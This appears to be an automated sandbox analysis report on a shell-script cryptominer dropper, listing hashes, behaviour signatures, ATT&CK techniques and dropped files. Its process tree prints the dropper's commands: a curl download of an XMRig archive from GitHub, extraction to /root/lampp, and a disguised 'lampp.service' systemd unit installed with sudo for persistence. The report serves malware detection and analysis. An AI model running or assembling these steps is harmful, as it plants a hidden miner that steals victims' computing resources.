Analysis

  • max time kernel
    2s
  • max time network
    1040s
  • platform
    ubuntu-20.04_amd64
  • resource
    ubuntu2004-amd64-20240508-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2004-amd64-20240508-enkernel:5.4.0-169-genericlocale:en-usos:ubuntu-20.04-amd64system
  • submitted
    01-07-2024 11:15

General

  • Target

    script.sh

  • Size

    8KB

  • MD5

    97423634cc1762b2f010cb860e7fb47d

  • SHA1

    2f50775e8fe9ab98a80f06d835c5874091bf0b3e

  • SHA256

    d97530313d2423ba8c3e87ccd3d66e6cd77997d26bbb4d1dd2a5f32827dde8cd

  • SHA512

    bd5279178f713edaca1754937a859fa41dbec1fdd15c8ad3cb11894142e389d97bf3ca7f0402c018a616053b1121650ed609498a4b34c4def829e02924f6de1f

  • SSDEEP

    192:fFa1ZIJvH8czpCyzdpB3f1SAij8E3YUNvmTC8KfbmP/oYv0Yd:fEHexC+HSAHE3YUN+TC8SbmQUfd

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Executes dropped EXE 1 IoCs
  • Reads EFI boot settings 3 IoCs

    Reads EFI boot settings from the efivars filesystem, may contain security secrets or sensitive data.

  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 45 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 25 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/script.sh
    /tmp/script.sh
    1⤵
    • Writes file to tmp directory
    PID:1406
    • /usr/bin/cut
      cut -f1 -d.
      2⤵
        PID:1409
      • /usr/bin/nproc
        nproc
        2⤵
          PID:1410
        • /usr/bin/bc
          bc -l
          2⤵
            PID:1413
          • /usr/bin/curl
            curl -L --progress-bar https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz -o /tmp/xmrig.tar.gz
            2⤵
            • Writes file to tmp directory
            PID:1414
          • /usr/bin/mkdir
            mkdir /root/lampp
            2⤵
              PID:1455
            • /usr/bin/tar
              tar xf /tmp/xmrig.tar.gz -C /root/lampp
              2⤵
                PID:1456
                • /usr/local/sbin/gzip
                  gzip -d
                  3⤵
                    PID:1457
                  • /usr/local/bin/gzip
                    gzip -d
                    3⤵
                      PID:1457
                    • /usr/sbin/gzip
                      gzip -d
                      3⤵
                        PID:1457
                      • /usr/bin/gzip
                        gzip -d
                        3⤵
                          PID:1457
                      • /usr/bin/rm
                        2⤵
                          PID:1458
                        • /usr/bin/sed
                          2⤵
                          • Reads runtime system information
                          PID:1459
                        • /root/lampp/xmrig
                          2⤵
                          • Executes dropped EXE
                          • Checks hardware identifiers (DMI)
                          • Reads hardware information
                          • Checks CPU configuration
                          • Reads CPU attributes
                          • Enumerates kernel/hardware configuration
                          • Reads runtime system information
                          PID:1460
                        • /usr/bin/sed
                          2⤵
                            PID:1465
                          • /usr/bin/cut
                            2⤵
                              PID:1464
                            • /usr/bin/hostname
                              2⤵
                                PID:1463
                              • /usr/bin/sed
                                2⤵
                                  PID:1466
                                • /usr/bin/sed
                                  2⤵
                                  • Reads runtime system information
                                  PID:1467
                                • /usr/bin/sed
                                  2⤵
                                    PID:1468
                                  • /usr/bin/sed
                                    2⤵
                                      PID:1469
                                    • /usr/bin/sed
                                      2⤵
                                        PID:1470
                                      • /usr/bin/sed
                                        2⤵
                                        • Reads runtime system information
                                        PID:1471
                                      • /usr/bin/sed
                                        2⤵
                                        • Reads runtime system information
                                        PID:1472
                                      • /usr/bin/cp
                                        2⤵
                                          PID:1473
                                        • /usr/bin/sed
                                          2⤵
                                            PID:1474
                                          • /usr/bin/cat
                                            cat
                                            2⤵
                                              PID:1475
                                            • /usr/bin/chmod
                                              chmod +x /root/lampp/miner.sh
                                              2⤵
                                                PID:1476
                                              • /usr/bin/sudo
                                                sudo -n true
                                                2⤵
                                                  PID:1477
                                                  • /usr/bin/true
                                                    true
                                                    3⤵
                                                      PID:1478
                                                  • /usr/bin/awk
                                                    awk "{print \$2}"
                                                    2⤵
                                                      PID:1481
                                                    • /usr/bin/grep
                                                      grep MemTotal /proc/meminfo
                                                      2⤵
                                                      • Reads runtime system information
                                                      PID:1480
                                                    • /usr/bin/cat
                                                      cat
                                                      2⤵
                                                        PID:1482
                                                      • /usr/bin/sudo
                                                        sudo mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                        2⤵
                                                        • Reads runtime system information
                                                        PID:1483
                                                        • /usr/bin/mv
                                                          mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                          3⤵
                                                            PID:1484
                                                        • /usr/bin/sudo
                                                          sudo killall xmrig
                                                          2⤵
                                                          • Reads runtime system information
                                                          PID:1485
                                                          • /usr/bin/killall
                                                            killall xmrig
                                                            3⤵
                                                            • Reads runtime system information
                                                            PID:1486
                                                        • /usr/bin/sudo
                                                          sudo systemctl daemon-reload
                                                          2⤵
                                                            PID:1487
                                                            • /usr/bin/systemctl
                                                              systemctl daemon-reload
                                                              3⤵
                                                              • Reads EFI boot settings
                                                              • Enumerates kernel/hardware configuration
                                                              • Reads runtime system information
                                                              PID:1488
                                                          • /usr/bin/sudo
                                                            sudo systemctl enable lampp.service
                                                            2⤵
                                                            • Reads runtime system information
                                                            PID:1514
                                                            • /usr/bin/systemctl
                                                              systemctl enable lampp.service
                                                              3⤵
                                                              • Reads EFI boot settings
                                                              • Enumerates kernel/hardware configuration
                                                              • Reads runtime system information
                                                              PID:1528
                                                          • /usr/bin/sudo
                                                            sudo systemctl start lampp.service
                                                            2⤵
                                                              PID:1554
                                                              • /usr/bin/systemctl
                                                                systemctl start lampp.service
                                                                3⤵
                                                                • Reads EFI boot settings
                                                                • Enumerates kernel/hardware configuration
                                                                • Reads runtime system information
                                                                PID:1555

                                                          Network

                                                          MITRE ATT&CK Matrix ATT&CK v13

                                                          Defense Evasion

                                                          Virtualization/Sandbox Evasion

                                                          2
                                                          T1497

                                                          Discovery

                                                          Virtualization/Sandbox Evasion

                                                          2
                                                          T1497

                                                          System Information Discovery

                                                          3
                                                          T1082

                                                          Command and Control

                                                          Web Service

                                                          1
                                                          T1102

                                                          Replay Monitor

                                                          Loading Replay Monitor...

                                                          Downloads

                                                          • /root/lampp/config.json
                                                            Filesize

                                                            2KB

                                                            MD5

                                                            f3294129e6b76283965ad86a815bf383

                                                            SHA1

                                                            5fe0ab538f86962efe82cb13fc2da745610740af

                                                            SHA256

                                                            578386126ae451940ff5c21ce95b4e3be85c2d33160d6e739ed0ebbd206c7e81

                                                            SHA512

                                                            07a280be17282096ed8c319623d2e02e088e80d69e3d6d24ecaef5bedf624d006dc4963b8b1a6c0569a3c9221786bfd7cd462dddebcfcbed7879fd994b4c8333

                                                          • /root/lampp/sed1h6eH6
                                                            Filesize

                                                            2KB

                                                            MD5

                                                            8b11b027dd187104473ee7d661ffe25f

                                                            SHA1

                                                            ec46117e3b0c2ce9f7fe60ac51eb1861c49e97ef

                                                            SHA256

                                                            984513d85c8a81fbca982bd8c81a73344f39a4fe46bd9b982ed85c0ff6d1030f

                                                            SHA512

                                                            1078b6b53897534be9f070454b8545f8075017025f9252175cfc6651c7eb11a906230558daa22a1086790f5fd5fed43b9b1909b044c70fafae9aba2d99381ea2

                                                          • /root/lampp/sed2xjQ0o
                                                            Filesize

                                                            2KB

                                                            MD5

                                                            1dc774f5e882569c15380e4ee4605a24

                                                            SHA1

                                                            14f1b6fcc3cf23891041dfb14a67bd0a46c5eed1

                                                            SHA256

                                                            2f053e6c4b13d1dde70cf8bf326d2125e29c7dc162a6fb31eef30c5c75ab9da5

                                                            SHA512

                                                            9509e4b20590fe6399fdc1e8ebb7358c752814517653d04829573bae6bd2ed82ee8100782bd4b718c435278a06912b1a07cf32fe9b1851cff6f14689b8205c8a

                                                          • /root/lampp/sedCPDUqF
                                                            Filesize

                                                            2KB

                                                            MD5

                                                            b1dda5214e6c76db919b7c2f68062acf

                                                            SHA1

                                                            bef628f8158d1ea3cf9a360717626188f8a1b659

                                                            SHA256

                                                            22b9bfb9a085f7f77144418eddb7b1fe45c861fc3a2b0822275c490cb3b1f57f

                                                            SHA512

                                                            16618a5601031e1a5123b6f53dc71f1be180c672e78e681bb799e7829818fe945da2adcab6978658dd358368d0fae6c0f912c3bec3d5de2853e51941a9ae6008

                                                          • /root/lampp/sedLdipAu
                                                            Filesize

                                                            2KB

                                                            MD5

                                                            ea3a444a8da02d317146c13813e1aa36

                                                            SHA1

                                                            b39bd0c4962b978fe5c129bf283b0028afc13834

                                                            SHA256

                                                            b200d16febe266661d3acb9fff65ede4a800c916a23af9746180ec46ea11e449

                                                            SHA512

                                                            5d66013438920d89462247135f6d569b4a3b6d74ad6422d402f611348cd94a2fb52d26bffad829e0a2246a49b91753846b5f9c5e33f60cc8ca1548eaf00aa45f

                                                          • /root/lampp/sedNB9fqe
                                                            Filesize

                                                            2KB

                                                            MD5

                                                            d4887e8847c98d4f12cae3a68c0e6ad4

                                                            SHA1

                                                            4b01c10677a2a073c08a3cd6317430fcdd60f21e

                                                            SHA256

                                                            ba7d4932ddcd5b037f00d0da631ef7e30142e6a0c1a30497c490da9d7766bf01

                                                            SHA512

                                                            3f2308062f29791aa8c4120ecca51401b6c9457fa273333f10400d17b403572a24a0f011d4ca5e594c83acedb7d850d7f1f02ec6b202aa7c57bd18431216703f

                                                          • /root/lampp/sedW8sUc4
                                                            Filesize

                                                            2KB

                                                            MD5

                                                            d489ddbbb83271e967b8af615d17d3c7

                                                            SHA1

                                                            f0394a367a60e9727269882154098dec802774ef

                                                            SHA256

                                                            5cf89bb7fbef53cc5fbe582017145aa148ad8a8abc5bceee9f887ba4a6fcc46e

                                                            SHA512

                                                            aba9bf29076f1d5b6e81c83e5be1cee5934d23db9093ec3ea8b4d92b521e37e58d80aaea6248dc211544574f3772df990950b9236f40e863a76220f86b157954

                                                          • /root/lampp/xmrig
                                                            Filesize

                                                            8.4MB

                                                            MD5

                                                            3464e903d6eee95509fa2e4e27039363

                                                            SHA1

                                                            765418b1b4e6b00c28dd0faa48b71f74a19d2fd3

                                                            SHA256

                                                            1599075a3556d4e035c01ca3bc88e87b1f9de6e207bff5df31c9112039c14f6b

                                                            SHA512

                                                            8443d2f6f352fcd467ac6673c80b11e23b24c31e9962bcbd4bba08542331c8f6404f33afa8b78f1f453b027d478aa7eaca21bc370b4df94b1157462fc5a11d52

                                                          • /tmp/lampp.service
                                                            Filesize

                                                            177B

                                                            MD5

                                                            540c899b78585827e807a62f7345eaf5

                                                            SHA1

                                                            8bf3146889c6b15811f226bff9fbca24d184eff2

                                                            SHA256

                                                            b32af10b7911d7113a1fe52ef467e7f123fb26552cae752ba52aef684b301fcf

                                                            SHA512

                                                            0aac2aced9505d1bde7d6c2fb6166a341982e9a170e7f0f72ede35c1305c4519e2fb07a7658558b41ad319c3d102f07d667a8769ff659b6392c81698d278af46

                                                          • /tmp/sh-thd.6PLsLI
                                                            Filesize

                                                            253B

                                                            MD5

                                                            f96a321a262287ceae164f23f232ed9c

                                                            SHA1

                                                            d1eeab41f244b42377afd7cc3de7428736162b24

                                                            SHA256

                                                            f572e87f0fc93c5a62023a572cf4c797c942d7618167752779854d6f73efa012

                                                            SHA512

                                                            75fc451b1f3138dbecd907ba5af2246884582190f85b4f574a99696439a3d6839c34a9310d21d206148870c7e6e7604a7ebd8bbd23406c57c6c6346fcb9cc86e

                                                          • /tmp/xmrig.tar.gz
                                                            Filesize

                                                            3.4MB

                                                            MD5

                                                            e003a3ec8bdd61151a61cadf950502c4

                                                            SHA1

                                                            2606bd45a8d45092c7d2c0ac9d6e92ec7ef7950e

                                                            SHA256

                                                            80b1dc6f56a95273420dc96e837d7e1a9f42c057e319dadac0cccee4425319e0

                                                            SHA512

                                                            ef80c71d8b0d09128abf9e67fe12a8cd843500419da43e7a284e016029391d826c503aeec3073a2b3d7d90ba24f18990edf6965cd38a270bbe57f20c6be022f9